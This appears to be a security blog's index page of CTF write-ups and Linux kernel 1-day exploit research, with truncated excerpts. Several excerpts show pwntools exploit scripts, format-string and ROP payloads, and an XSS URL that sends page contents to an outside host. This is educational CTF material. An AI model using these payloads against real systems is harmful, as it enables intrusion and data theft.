-
[1-day Research] CVE-2022-32250 : nf_tables의 Use After Free 취약점을 이용한 리눅스 권한 상승 공격
1. Overview2. Background3. Vulnerability 3-1. Root Cause 3-2. Conclusion4. exploit 4-1. Kernel keyring (struct user_key_payload) 4-2. mqueue (struct posix_msg_tree_node) 4-3. Leak kernel heap address 4-4. Leak KASLR Base 4-5. Overwriting modporbe_path5. Finish 1. Overview 해당 취약점은 Linux 커널의nf_tables 시스템에서 발생하는 취약점입니다. nf_tables 및 Netfilter에 관한 더 자세한 내용은 아래에 글에서 확인할 수 있습니다.CVE-2022-..
-
[CTF] SanDiego CTF 2024 - Def1nit3lysAfetoDol1st5iNc31hAveF0rb1dUnsafec0de : 1-day Rust pwn
RUST로 작성된 todo list 바이너리를 익스플로잇하는 문제다. 문제 설명에서 #![forbid(unsafe_code)]로 unsafe 코드 사용을 막았다고 겁준다. thread 'main' panicked at 'assertion failed: index 아무거나 입력하다보면 패닉이 뜰때가 많은데, 이때 나오는 에러 메시지를 보면 smallvec 이라는 라이브러리를 사용한다는 것을 알 수 있다. smallvec-1.6.0 버전이라는 것도 알 수 있는데, 구버전이다. Buffer overflow in `insert_many()` · Issue #252 · servo/rust-smallvec · GitHub Buffer overflow in `insert_many()` · Issue #252 · s..
-
[CTF] DEF CON CTF Qualifier 2024 - dotcom : Exploitinig Crash Handler
1. Overview2. Analysis3. Vulnerabilities 3-1. Uninitialized Memory 3-2. Stack Overflow4. Exploit5. Finish 1. Overview This challenge was a pwnable challenge presented at the DEF CON CTF Qualifier 2024. Thanks to my teammate quickly finding the vulnerability, I achieved the First Blood for this challenge during the competition. Generally, this problem is considered to be of an easier difficult..
-
[CTF Write Up] DICE CTF 2024 qual - boogie-woogie : 1-byte swap primitive to ROP
Out-Of-Bounds 취약점이 있는 바이트 스왑 함수가 있다. 1. 바이너리 영역에서 발생하는 Out Of Bounds 이므로 적당히 offset을 때려맞춰서 Heap 영역 주소를 얻는다. (Heap의 Top Chunk가 굉장히 크다는 것을 이용해서 임의의 탑 청크 내에 바이트를 스왑하고, 계속 주소를 줄이는 방식을 이용하면 경우의 수를 크게 줄일 수 있음) 2. Top Chunk의 size를 덮어서 크기를 작게 만든 후 scanf가 매우 큰 버퍼를 할당하게 만들면, Unsorted bin에 청크를 하나 넣을 수 있다. 이후 Unsorted bin의 fd에서 libc 주소를 leak 한다. 3. envrion 변수를 통해 stack 주소까지 leak 한다면 이제 ROP를 할 수 있다. 4. 이때 바이..
-
[1-day Research] CVE-2022-1015 : nf_tables의 OOB 취약점을 이용한 리눅스 권한 상승 공격
1. Overview 2. Component of the nf_tables 2-1. Netlink 2-2. table 2-3. chain 2-4. rule / expr 2-4-1. payload 2-4-2. set_payload 2-4-3. cmp 3. How nf_tables works 3-1. nft_regs 3-2. nft_do_chain 4. Vulnerability 5. Exploit 4-1. Preparation 4-2. Leak Kernel Data 4-3. Kernel ROP 4-3-1. __do_softirq Gadget 4-3-2. modprobe_path 6. Finish 1. Overview nf_tables는 Linux 커널의 하위 시스템 Netfilter에서 동작하는 기능입니다...
-
[CTF Write Up] ASIS CTF Final 2023 - isWebP.js : Exploiting QuickJS by Webp Vulnerability
1. Overview 2. CVE-2023-4863 3. Patch Analysis 3-1. libwebp.patch 3-2. quickjs.patch 3-2-1. Disable System Module 3-2-2. Add isWebP Function 4. Exploiting QuickJS 4-1. VP8LHuffmanTablesAllocate Analysis 4-2. Make OOB Read / Write Primitive by Heap Spraying 4-3. Hijack RIP 5. Finish Full Write Up https://velog.io/@0range1337/CTF-ASIS-CTF-Final-2023-isWebP.js-Exploiting-QuickJS-by-Webp-Vulnerabili..
-
카이스트 특기자 전형 합격 후기
1. KAIST 특기자전형 - 합격 2. 고려대학교 사이버국방 - 불합 (예비도 못받은거 보면 신검 3급 나온게....) 3. 고려대학교 계열적합 - 불합 (내신 안되는거 알지만 그냥 넣어봄) 4. 한양대학교 소프트웨어 인재 - 합격 5. 숭실대학교 정보보호특기병 - 합격 (내신은 3.8 ~ 4.0 정도) 어쩌다보니 일반고에서 특기자 전형으로 카이스트에 들어갔다. 일반고에서 정보보안 쪽 특기자 전형으로 합격하는 건 아마 지금까지 없었고 앞으로도 없을 것 같다.. 특기자로 지원하려면 당연히 수상 실적이 필요한데, CTF는 대부분 팀전이라 일반고에서는 팀원을 구할 수 없다. 이외에도 공부환경 면에서도 다른 특성화고에 비해서 굉장히 불리하다. 지금 생각해보면 운이 굉장히 잘 따라준 것 같다.. 물론 얼탱이 없..
-
[CTF Write Up] m0lecon CTF final 2023 - kEASY : Cross-Cache UAF + Dirty Pagetable + Escaping nsjail
1. Overview 2. Vulnerabilty 3. Cross-Cache UAF 4. Dirty Pagetable 4-1. Dirty Pagetable VIA flie UAF 4-2. /dev/dma_heap/system 4-3. Arbitrary Physical Address Read / Write 5. Escaping nsjail 6. Finish Full Write Up https://velog.io/@0range1337/CTF-m0lecon-CTF-final-2023-kEASY-Cross-Cache-UAF-Dirty-Pagetable-Escaping-nsjail [CTF] m0lecon CTF final 2023 - kEASY : Cross-Cache UAF + Dirty Pagetable +..
-
[CTF write up] BlackHat MEA CTF 2023 - JIT-8 : Exploit the CHIP-8 JIT Compiler
뭔가 복잡해보이지만, CHIP-8 시스템을 그대로 구현한 것이므로 거의 분석할 필요가 없다. https://en.wikipedia.org/wiki/CHIP-8 해당 Wikipedia에서 opcode와 동작을 알 수 있으며, IDA에서도 Symbol이 어느정도 남아 있어 분석 자체는 어렵지 않다. Although it seems pretty complicated, there is almost no need to analyze it since it is a direct implementation of the CHIP-8 system. https://en.wikipedia.org/wiki/CHIP-8 You can find out the opcode and operation in Wikipedia, and t..
-
BlackHat MEA CTF 2023 본선 (사우디, Riyadh)
3일간 매일 8시간 정도하는 제퍼디 형식인데, 날마다 집중해서 문제를 풀 수 있어서 재미었다. pwn 문제도 괴상한 리버싱이 아니고 다 포너블스러운 문제여서 좋았다.
-
[CTF write up] N1CTF 2023 - n1proxy : Exploit UAF in Proxy Binary developed with RUST
https://github.com/Nu1LCTF/n1ctf-2023/blob/main/pwn/n1proxy/server/src/main.rs 문제 소스코드는 출제자의 Github에서 확인할 수 있다. 솔버가 1명 밖에 없는 문제였고, 대회 당시에 끝내지 못했지만, 굉장히 퀄리티가 높은 챌린지였기 때문에 대회 후에 마저 풀었다. You can check provided source code of challenge in author's github. It was a challenge with only one solver, and I couldn't finish it at the time of the competition, but it was a good challenge, so I finished it af..
-
[CTF write up] HITCON CTF 2023 qual - Full Chain - Wall Maria : VM escape on Qemu with Sandbox option enabled
#include "hw/hw.h" #include "hw/pci/msi.h" #include "hw/pci/pci.h" #include "qapi/visitor.h" #include "qemu/main-loop.h" #include "qemu/module.h" #include "qemu/osdep.h" #include "qom/object.h" #define TYPE_PCI_MARIA_DEVICE "maria" #define MARIA_MMIO_SIZE 0x10000 #define BUFF_SIZE 0x2000 typedef struct { PCIDevice pdev; struct { uint64_t src; uint8_t off; } state; char buff[BUFF_SIZE]; MemoryReg..
-
[CTF write up] WACon CTF 2023 qual - heaphp : PHP Extension Exploitation
memcpy의 인자로 들어가는 len 값으로 PHP 파라미터 구조체에서 가져온 진짜 인자의 길이를 사용하지만, _emalloc 변수에 들어가는 size 변수는 strlen 함수의 결과를 값으로 사용한다. 따라서 add_note의 두번째 인자에 Null 바이트를 포함시키면 Heap Overflow가 발생한다. The len value entered as an argument to memcpy uses the length of the actual argument taken from the PHP parameter structure, but the size variable entered into the _emalloc variable uses the result of the strlen function as ..
-
[CTF write up] corCTF 2023 - cshell3 : Pwning the AIS terminal
바이너리가 간단한 편은 아니었지만, 그럼에도 불구하고 매우 Basic한 문제였다. The binary wasn't simple, but it was a very basic challenge nonetheless. void VHFADMIN() { char *username, *password; username = readline("Enter username: "); password = readline("Enter password: "); char l_password_hash[65] = {0}; sha256_password(password, l_password_hash); if (strcmp(username, "admin") == 0 && strcmp(l_password_hash, password_hash)..
-
[CTF write up] codegate CTF 2023 general - Mediocrity : Race Condtion in VM
취약점은 매우 간단한다. Thread를 생성할때, mem을 포인터째로 복사해서 mem에서 Race condition이 발생한다. The vulnerability is very simple. When creating a thread, mem is copied as a pointer, so a race condition occurs in mem. opcode 중 mem을 참조하여 read / write 하는 부분이 있는데, 기본적으로는 boundary check가 잘 되어있지만, Race condition을 이용하면 Boundary check 이후 mem 값을 변경하여 OOB read / write를 할 수 있다. There is a part of the opcode that reads/writes by r..
-
[CTF write up] CCE CTF 2023 - K-exploit : Baby kernel heap exploitation
rm -r ./rootfs mkdir rootfs cd rootfs; cpio -idv ../rootfs_updated.img.gz # rootfs 재압축 #head /proc/kallsyms #cat /proc/modules #./extract-vmlinux bzImage > ./vmlinux 다음은 커널 익스 할때 필요한 shell 명령어다. 해당 명령어를 통해 rootfs 파일 시스템을 까서 K-exploit.ko 모듈을 가져오고 분석을 하면된다. exploit 코드를 넣을때는 반드시 --static 옵션으로 정적 컴파일을 해서 옮겨줘야 한다. (문제에서 주어지는 리눅스에는 libc.so.6 같은 기본적인 라이브러리가 없음) 아무튼 대충 아래와 같은 단계로 커널 익스를 진행하면 된다. 1. qemu..
-
[CTF write up] Just CTF 2023 - notabug2 : Exploitable Feature of sqlite3
굉장히 난이도 있고 Tricky한 문제였지만, 팀원들의 도움으로 풀 수 있었다. It was a very difficult and tricky challenge, but We were able to solve it with the help of my teammates. sqlite3 interactive 쉘을 열어주며, .system과 같은 dot 커맨드를 제한한다. Opens an sqlite3 interactive shell and restricts dot commands such as .system. select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts'); sqlite3에는 위와 같이 Load_extension를 이용해서 외부 공유파일의 함..
-
DEFCON CTF 2023 예선 후기 / 본선 진출
P1G BuT S4D 팀 소속으로 데프콘에 참가하여 9위로 본선에 진출하였다. Live CTF 문제를 제외하면 크게 기여한 챌린지가 별로 없어서 작년 데프콘에 비하면 먼가 아쉬운 마음으로 끝나긴 하였다. 2022년도 데프콘에서는 LuaJIT 오픈소스 익스플로잇이라던가 Rust javascript engine pwn이라던가 트렌디한 Pwnable 문제가 출제되어서 굉장히 좋은 기억으로 남았던 CTF였지만 2023년도에는 대부분 리버싱 문제에 치중되어 있던지라 문제 풀면서 재밌다는 느낌을 많이 받지 못했던거 같다. 첫 Pwn 문제인 Open House는 사실상 libc 찾는게 전부인 괴상한 문제였고, IFUCKUP 문제는 RNG를 분석하여 랜덤화를 뚫는게 주제인 사실상 크립토 문제였다. ziggypop 문제..
-
[CTF write up] WACon CTF 2022 qual - Yalkp : Kernel mmap handler exploitation
#include // 리눅스 디바이스 관련 헤더파일을 포함 #include // 파일 시스템 관련 헤더파일을 포함 #include // 커널 관련 헤더파일을 포함 #include // 연결 리스트 관련 헤더파일을 포함 #include // 모듈 관련 헤더파일을 포함 #include // 뮤텍스 관련 헤더파일을 포함 #include // 난수 관련 헤더파일을 포함 #include // 슬랩 할당자 관련 헤더파일을 포함 #include // 사용자 공간 접근 관련 헤더파일을 포함 #include // 메모리 관리 관련 헤더파일을 포함 #define DEVICE_NAME "chall" // 디바이스 이름을 "chall"로 설정 #define CLASS_NAME "chall" // 클래스 이름을 "chall"로..
-
[CTF write up] m0lecon CTF 2023 - NoRegVM : FSB VM exploit
취약점은 여러가지인데 전부 이런저런 이유로 익스하기가 힘들다. fmt 문자열이 덮히는 걸 이용해서 FSB를 이용해 Exploit 하였다. There are many vulnerabilities, but all of them are difficult to exploit for one reason or another. Exploited using FSB by using that the fmt string can be overwritten. from pwn import * pay = p32(7) + p32(0) + p32((464+8)) #popin pay += p32(8) + p32(464) + p32(8) #popout pay += p32(0xa) + p32(1) #write pay += p32(5) + ..
-
[CTF write up] Ricerca CTF 2023 - Challenges : I want to study crypto~
Pwnable 빼고 쉬운 문제 몇개를 풀어보았다. 처음으로 풀어보는 Crypto인 Rotated Secret analysis는 꽤 재밌었고, Web에서는 딱히 적당히 재밌는 문제가 없었다. 리버싱은 warm-up 문제를 빼고는 최소 7솔브부터 시작이라 딱히 건드릴 수 있는게 없었다. welcome RicSec{do_U_know_wh4t_Ricerca_means_btw?} crackme 그냥 디컴파일하면 나온다. RicSec{U_R_h1y0k0_cr4ck3r!} Reveolving Latters 반대로 하면 나온다. LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz" def decrypt(secret, key): assert len(secret) > l*3) - ((n >> ..
-
[CTF write up] LINE CTF 2023 - Hackatris : ncusre.h Tetris pwn
Dice CTF 2023의 zelda와 마찬가지로 ncurse.h 라이브러리로 제작된 테트리스 게임이다. zelda 처럼 ncusre.h FSOP Exploit이 필요한 문제는 아니었고, 단순 버퍼오버플로우 취약점이었지만 ncurse.h 라이브러리로 짜여진 프로그램들 특유의 괴상한 인풋 / 아웃풋 때문에 고생했다. Like zelda in Dice CTF 2023, it is a Tetris game made with the ncurse.h library. It was not a problem that required ncusre.h FSOP Exploit like zelda, it was a simple buffer overflow vulnerability, but I suffered from stra..
-
[CTF write up] b01lers CTF 2023 - Transcendental : It is a misc not pwn :(
__int64 __fastcall main(int a1, char **a2, char **a3) { char op; // al char i; // dl int idx; // eax double reg[11]; // [rsp+0h] [rbp-78h] BYREF unsigned __int64 v8; // [rsp+58h] [rbp-20h] v8 = __readfsqword(0x28u); puts( "==============================================================\n" "== B01lers Calculator - Transcendental Figures edition 2023 ==\n" "=========================================..
-
[CTF write up] WACon CTF 2022 Final - islands : Easy matrix multiplication rev
리버싱 공부하려고 처음으로 제대로 푼 리버싱 문제다. ida로 까보면 함수가 매우 여러게 있고 함수당 어셈블리가 들어있다. 별로 길지 않아서 하나씩 확인해서 로직을 분석하면 된다. array1 = [246, 0, 58, 0, 217, 0, 173, 0, 210, 0, 224, 0, 7, 0, 116, 0, 199, 0, 18, 0, 117, 0, 160, 0, 27, 0, 191, 0, 158, 0, 238, 0, 243, 0, 211, 0, 116, 0, 147, 0, 195, 0, 39, 0, 185, 0, 154, 0, 181, 0, 215, 0, 33, 0, 184, 0, 231, 0, 42, 0, 78, 0, 65, 0, 137, 0, 188, 0, 52, 0, 136, 0, 154, 0, 23..
-
[CTF write up] Kalmar CTF 2023 - mjs : Baby Open-Source Exploiting
https://github.com/mde/ejs GitHub - mde/ejs: Embedded JavaScript templates -- http://ejs.co Embedded JavaScript templates -- http://ejs.co. Contribute to mde/ejs development by creating an account on GitHub. github.com 무려 함수를 raw pointer로 저장해서 정수랑 연산할 수 있는 엄청난 Vulneranilty(?) or Feature(?)가 존재한다. 패치도 안된 것으로 보인다(?) There is a huge Vulnerability(?) or Feature(?) that can store a function as a raw ..
-
About me
해킹 공부하면서 특목고/특성화고를 안가고 제주도 일반고를 간 바부 맹충이 School - 제주제일고등학교 - 2021. 03 ~ 2023 - 한국과학기술원(KAIST) - 2024 ~Education - KITRI Best of the Best 11th - 2022. 06 ~ 2023. 03 Awards 2021- 제2회 제주 아라주는 SW경진대회 2021 - 최우수상(1st) 🥇 - 소프트웨어 인재 양성 해커톤 2021 - 최우수상(1st) 🥇2022- 제주제일고등학교 프로그래밍 산출물 대회 2022 - 금상(1st) 🥇- 제주제일고등학교 피지컬컴퓨팅 산출물 대회 2022 - 금상(1st) 🥇- Codegate CTF 2022 Junior - Finalist (Ko..
-
[CTF write up] ACSC CTF 2023 - re : tcache poisoning in Ubuntu 22.04
realloc만 쓸 수 있으며, 만들 수 있는 청크 크기에 제한이 걸려있다. realloc은 아래와 같은 동작을 하기 때문에 사실상 malloc, free 둘다 사용할 수 있다. realloc(0,size) -> malloc(size) realloc(ptr,0) -> free(ptr) 취약점은 realloc(ptr,0)로 free를 하였을때 size > mlist.size 조건문을 통과하지 않아서 mlist 변수에 포인터가 그대로 남는다는 것이다. 이때 해당 dangling 포인터에 대해 realloc(ptr,size) 함수를 실행하면 realloc의 반환값으로 ptr에 들어간 dangling 포인터가 그대로 반환된다. 하지만 실제로 해당 청크는 할당되지 않았기 때문에 그대로 bin list에 들어가 있..
-
[CTF write up] Dice CTF 2023 - Zelda : FSOP in ncurse.so lib
Dice CTF에서 출제된 1솔브 문제다. 푸는 방법은 완벽하게 구상했지만 remote로 페이로드가 보내지지 않아서 결국 시간내로 풀지는 못했다. 첫번째 취약점은 비동기적으로 동작하는 wgetch를 여러번 반복하는 형식으로 인풋을 받는다는 것이다. 버퍼에 여러 값을 한번에 보낼 수 없는 키보드 조작으로는 문제없이 프로그램이 동작하지만, pwntools나
-
[CTF write up] WAcon CTF 2022 Qual - superunsafeJIT : Super ez Rust Pwn
fn compile(bytecode: &[u8], data_memory: &memory::Memory) -> Result { let mut function_table = HashMap::new(); function_table.insert("deoptimize".to_string(), 0xdeadbeef); let pl1 = bytecode::TranslationUnit::new(bytecode)?; println!("[main::compile] pl1 = `{}`", pl1 ); let pl2 = vasm::TranslationUnit::new(&pl1, &data_memory, &function_table)?; println!("[main::compile] pl2 = `{}`", pl2 ); let p..
-
[CTF write up] idek CTF 2023 - Sprinter : Wierd Format String Bug
int vuln() { size_t len; // rax char buf[264]; // [rsp+0h] [rbp-110h] BYREF unsigned __int64 v3; // [rsp+108h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Enter your string into my buffer, located at %p: ", buf); fgets(buf, 256, stdin); len = (size_t)strchr(buf, 'n'); if ( !len ) { len = strlen(buf); if ( len
-
[CTF write up] Tet CTF 2023 - mailService : Logical bug & Mem corruption PWN
mailclient와 mailserver라는 바이너리가 있으며 서로 통신하며, 파일을 생성하고 읽는다. 가장 눈에 띄는 취약점은 다음과 같이 콘텐츠 사이즈를 int 형으로 검사한다는 것이다. 음수 값을 넣으면 2048이 넘는 사이즈 값을 입력할 수 있게 된다. 해당 사이즈 값 4자리는 파일내에 같이 저장되며, 메일을 읽을때 해당 사이즈 값을 바탕으로 파일에서 값을 읽는다. 다음은 파일을 읽는 부분이다. 파일에 저장된 4자리 사이즈 값을 읽고 그만큼 read / write를 한다. content_buffer는 2048 사이즈의 지역변수이기 때문에 위 취약점을 이용하여 사이즈 값을 음수로 넣으면 스택 오버플로우가 발생한다. 하지만 메모리 보호 기법이 전부 걸려있기 때문에 카나리 검증으로 익스플로잇을 할 수 ..
-
[CTF write up] SECCON CTF 2022 Qual - Babyfile : Hard FSOP Challenge
int __cdecl main(int argc, const char **argv, const char **envp) { int idx; // eax char offset; // [rsp+7h] [rbp-9h] FILE *fd_null; // [rsp+8h] [rbp-8h] alarm(0x1Eu); write(1, "Play with FILE structure\n", 0x19uLL); fd_null = fopen("/dev/null", "r"); if ( fd_null ) { fd_null->__pad2 = 0LL; while ( 1 ) { idx = menu(); if ( idx == 2 ) { write(1, "offset: ", 8uLL); offset = getint(); if ( offset < ..
-
[CTF write up] SSTF 2022 - Riscy : Easy RISC-V ROP (Samsung CTF)
RISC-V 아키텍쳐로 컴파일된 바이너리와 risc-v qemu 바이너리 파일이 주어진다. 개인적으로 멀티아키텍쳐 문제들을 정말 싫어하지만 이번에는 주최측에서 바이너리 형태에 qemu 바이너리 파일을 주었기에 상당히 재미있게 풀었다. 바이너리는 NX만 걸려있으며 굉장히 단순한 오버플로우 취약점이 존재한다. 쉬워보이지만 아래와 같은 문제가 존재한다. 1. RISC-V에 대한 한글 레퍼런스가 거의 없고 영어 레퍼런스도 대부분 논문일 정도로 마이너함. 2. RISC-V의 ROP 가젯을 자동으로 찾아주는 툴이 없음. 일단 risc-v의 동작 방식은 상당히 간단하고 ROP 역시도 매우 간단한다. 대부분의 경우가 arm과 유사한데, a0~ 으로 시작하는 레지스터들이 존재하고 해당 레지스터들을 통해 인자를 전달한다...
-
[CTF write up] WACON CTF 2022 Qual - babystack : Begginer's Real-World Challenge
https://irrlicht.sourceforge.io/forum/viewtopic.php?f=7&t=52785&sid=82d189da1e8d466aea667d5958334975 [fixed]Stack buffer overflow in MD2 Parser - Irrlicht Engine You discovered a bug in the engine, and you are sure that it is not a problem of your code? Just post it in here. Please read the bug posting guidelines first. procfs Posts: 2 Joined: Thu Dec 09, 2021 11:12 am Post by procfs » Sun Dec 1..
-
[BoB] 차세대 보안리더 양성 프로그램 11기 : 최종합격 후기 (자기소개서, 인적성 검사, 면접)
내가 보안공부를 시작한지 약 10개월 정도가 지난 것 같다. 짧은 시간 동안 참 많은 걸 해낸 것 같아 기쁘다. 특목고도 아닌데다가 제주도 한복판에서 정보보안은 커녕 코딩조차 제대로 배우기 힘들었음에도 이 모든 것을 가능하게 해준 Dreamhack에게 감사하다. BoB 합격외에도 국내 CTF 입상이라는 목표가 있었는데 그것은 이번 Wacon CTF에서 이룰 수 있었으면 좋겠다. 1. 자기소개서 입상경력 거의 2021년도 후반기 부터 보안공부를 해서 Dreamhack CTF 조차 경험해보지 못해서 CTF 관련해서 적을꺼는 코드게이트 본선 진출 밖에 없었다. 그래도 도내 SW 대회에서 보안관련 프로그램을 출품 한적이 꽤 있었기에 그것들하고, IT 관련 장학금 받은 것을 적었다. 사소한 것이어도 보안 관련된거..
-
[CTF write up] DEF CON CTF 2022 Qual - smuggler's cove : Open-Source Exploitation
일반적인 포너블 문제와 달리 netcat이 아닌 웹을 통해 접속해야 한다. 웹에서 사용자로부터 Lua Script를 받고 이를 오픈소스 Lua 컴파일러인 LuaJIT으로 실행한다. 이때, LuaJIT은 공유 파일(so) 형태로 있으며, C로 코딩된 커스텀 바이너리에서 해당 공유 파일을 import 하고 사용자의 Lua Script를 실행한다. 바이너리를 분석해보면 일반적인 Lua 함수는 사용할 수 없으며, C로 구현된 print 함수와 Cargo 함수만을 Lua Script 내에서 이용할 수 있다. 취약점 역시 C로 구현된 함수에 존재하는데, Cargo 함수를 이용하면 사용자가 Lua Script에서 정의한 함수를 가리키는 포인터를 오염시킬 수 있다. 취약점 자체는, 커스텀 Lua 함수를 구현하는 바이너..
-
[CTF write up] CyberApocalypse CTF 2022 - bon-nie-appetit : Overlapping Chunk
from pwn import * context.log_level = 'debug' def command_create(size,content): p.sendline(b'1') time.sleep(1) p.sendline(str(size).encode()) time.sleep(1) p.send(content) time.sleep(1) def command_show(index): p.sendline(b'2') time.sleep(1) p.sendline(str(index).encode()) time.sleep(1) def command_edit(index,content): p.sendline(b'3') time.sleep(1) p.sendline(str(index).encode()) time.sleep(1) ..
-
[CTF write up] m0lecon CTF 2022 - ptmList : Intager Overflow and List OOB
from pwn import * def up(): p.send(b'w') def down(): p.send(b's') def go(): p.send(b'\n') def esc(): p.send(b'\x1b') def drop(): p.send(b'd') def move(): p.send(b'm') def exploit(): go(); for i in range(0,231): down(); go(); down(); go(); esc(); go(); down(); go(); down(); go(); esc(); go(); down(); go(); down(); go(); esc(); down(); down(); go(); go(); # secret gift down(); go(); drop(); go(); ..
-
[CTF write up] KAIST GoN CTF 2022 - NullNull : Null byte Poisoning to Stack Pivot (2022 Spring GoN Open Qual CTF)
scanf에서 마지막에 Null 바이트가 붙는 것 때문에 1바이트 오버플로우가 발생한다. 이걸로 SFP의 값 하위 1바이트를 0x00으로 바꾸어주면 RBP 값을 낮은 주소로 위조할 수 있다. 일반적으로 스택의 변수를 참조할때 RBP 값을 기준으로 참조하기 때문에 변수에 데이터를 쓰는 부분에서 더 낮은 스택 주소에 데이터를 쓸 수 있게 되고 결과적으로 RET를 오버라이트할 수 있다. 익스할 때 주의할 점이 좀 있는데 일단 RBP를 오프셋 기준으로 위조하는게 아니라 그냥 NULL 바이트로 오버라이트 하는 것이기 때문에 위조된 RBP의 주소는 랜덤하다. 그렇기 때문에 익스를 될 때까지 여러번 해줘야 한다. 그외에도 RET 부분에 ROP 체인을 쌓을 때 scanf를 이용해서 추가적인 stack pivot을 해줘..
-
[CTF write up] WITHCON 2021 - chunk_manager : Unsorted bin leak (WhiteHatContest)
당시 솔버 수가 굉장히 적은 문제였던 걸로 기억하는데, 지금 풀어보니 말도 안되게 쉬운 문제였다.. 풀고 난 후 출제진 설명을 보니 AAW 취약점으로 breaking calloc 버그를 일으켜 메모리 주소를 유출하는 것이 의도된 풀이인 것으로 확인된다. 하지만 breaking calloc 트릭을 알지 못하더라도 unsorted bin의 특징을 알면 매우 쉽게 메모리를 유출 할 수 있다. 작은 크기의 청크 할당이 요청 될 경우 unsorted bin에 청크가 있을 때 해당 청크를 떼주게 된다. 따라서 큰 unsorted bin 크기의 청크를 해제하고 작은 크기의 청크를 할당하면 unsorted bin에 들어있는 프리 청크 바로 위에 요청한 청크가 할당된다. AAW로 내부 값을 전부 채워주면 unsorted..
-
[CTF write up] Securinets CTF 2022 - memory : Non buffer-overflow ROP
AAW, AAR 취약점이 있는 바이너리다. 문제는 모든 메모리 보호 기법이 걸려있는데다가 seccomp filter까지 있어 ORW와 mprotect syscall 밖에 사용하지 못한다. 일단 heap 영역에 메모리를 할당할때 메모리 초기화 과정이 있지 않아서 더미 값이 있는 해제된 메모리를 재사용하면 heap 주소를 유출할 수 있다. 이후 AAW 취약점을 통해 heap 영역에 있는 count 변수를 음수로 바꾸어주어 원하는 만큼 AAW, AAR이 가능하도록 만들 수 있다. 그 다음은 heap 영역에 있는 libc 주소를 유출하고 libc 주소를 기반으로 다시 environ 포인터 유출하고 다시 stack 값을 기반으로 code 영역 주소를 연쇄적으로 유출하면 된다. PIE와 ASLR로 랜덤화된 메모리 ..
-
[CTF write up] Codegate CTF 2022 Junior - Lotto : Basic Window Reversing
import sympy a1 = sympy.Symbol('a1') a2 = sympy.Symbol('a2') a3 = sympy.Symbol('a3') a4 = sympy.Symbol('a4') a5 = sympy.Symbol('a5') a6 = sympy.Symbol('a6') eq1 = a2 + 2 * a1 - 20 eq2 = a3 + 7 * a1 - a2 - 35 eq3 = 7 * a2 - 2 * a1 - a3 - 64 eq4 = 5 * a3 + 3 * a1 - a2 - 135 eq5 = 3 * a5 + a4 - 156 eq6 = a6 + 3 * a4 - a6 * a5 + 1530 eq7 = a6 + a5 - a4 - 46 result = sympy.solve((eq1,eq2,eq3,eq4,eq5,..
-
[CTF write up] Line CTF 2021 - bank : Complex Binary
from pwn import * import ctypes import time context(arch = "amd64", os = "linux") def command_adduser(id, ps): p.sendlineafter(b': ',b'6') p.sendlineafter(b': ', id) p.sendlineafter(b': ', ps) def command_login(id, ps): p.sendlineafter(b': ',b'7') p.sendlineafter(b': ', id) p.sendlineafter(b': ', ps) def command_loan(): p.sendlineafter(b': ',b'4') def command_logout(): p.sendlineafter(b': ',b'8'..
-
[CTF write up] Codegate 2022 General - CAFE : PHP parse_url Spoofing to XSS
문제 파일에 admin 계정 정보가 포함되어 있어서 그대로 로그인하면 플래그를 얻을 수 있는 띠용한 Unintened 풀이가 있었다고 한다. 평범한 XSS 문제다. XSS 취약점이 있는 게시판에 글을 쓸 수 있고 report를 통해 봇이 자바스크립트를 실행하도록 할 수 있다. function filterHtml($content) { $result = ''; $html = new simple_html_dom(); $html->load($content); $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe']; foreach($allowTag..
-
[CTF write up] Codegate CTF 2022 Junior - UDgame : UP and Down Misc
from pwn import * import random context.log_level = 'debug' p = remote("52.79.50.189", 4321) def check(inp): p.sendlineafter(b':',str(inp)) res = p.recvuntil(b'!') print(res) if b'codegate' in res: p.interactive() if b'DOWN' in res: return 'DOWN' elif b'UP' in res: return 'UP' elif b'funny' in res: return '??' else: return 'True' con = 1 p.sendlineafter(b'>',b'y') while(True): if con == 0: break..
-
[CTF write up] Codegate CTF 2022 Junior - ohmypage : XSS to get html contents
search 페이지에서 XSS가 발생하고 report 페이지에서 관리자에게 XSS를 트리거할 수 있다. 문제는 cookie가 httponly로 설정되어 있어서 탈취가 불가능하다. 그래서 My Page에 표시된 값을 긁어와야 된다. 자바스크립트를 제대로 써본적이 없기 때문에 관련 XSS 페이로드를 찾아보려고 했지만 찾을 수 없었다.. 그래서 굉장히 많은 시간을 들여서 페이로드를 직접 만들었다. http://3.38.235.13:8881/search?text=%3Ciframe%20onload=%22location.href%20=%27https://ldbknsp.request.dreamhack.games?html=%27.concat(document.getElementById(%27target%27).conte..
-
[CTF write up] Codegate CTF 2022 Junior - mungchistak : PTR Overwrite
from pwn import * def event1(): for i in range(0,7): p.sendlineafter(b'>',b'1') p.sendlineafter(b'>',b'2') p.sendlineafter(b'>',b'3') def event2(): p.sendlineafter(b'>',b'1') p.sendlineafter(b'>', b'1') p.sendlineafter(b'>',b'3') #p = process('mungchistack') p = remote('3.39.32.143',5333) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p.sendline(b'a') event2() p.sendline(b'12') lic = u64(p.recvun..
-
[CTF write up] Codegate CTF 2022 Junior - Dino_diary : Simple Out Of Bound
from pwn import * #p = process('Dino_diary') p = remote('52.78.171.46',8080) p.sendlineafter(b':',b'3') p.sendlineafter(b':',b'-28') p.recvuntil(b'comment number: ') lic1 = p.recvuntil(b'\n') lic1 = lic1[16:len(lic1)-1] print(lic1) p.recvuntil(b'name: ') lic2 = p.recvuntil(b'\x7f') print(lic2) stdout = u64(p32(int(lic1)) + lic2 + b'\x00\x00') print(hex(stdout)) oneshot = stdout - 0x39d210 - 0x4f..
-
[CTF write up] Codegate CTF 2022 Junior - cat_tail : Hidden Format String Bug
from pwn import * #context.log_level = 'debug' #p = process('cat_tail') p = remote('3.39.67.50',5334) p.sendlineafter(b'>',b'3') fsb_payload = b'%4117d%16$hnAAAA' + p64(0x404070) print(fsb_payload) raw_input() p.sendlineafter(b'>',fsb_payload) p.interactive() 처음에는 파일 권한 관련 취약점이 있는 줄 알아서 고생했다... 다시 제대로 분석해보니 포맷 스트링 버그가 있었다. 권한 확인을 단순히 파일 이름 비교로 하기 때문에 strcmp의 GOT를 RET 가젯으로 바꾸면 flag에 대한 권한 검사가 작동하..
-
[CTF write up] Codegate CTF 2022 Junior - Gift : Rand() Crack
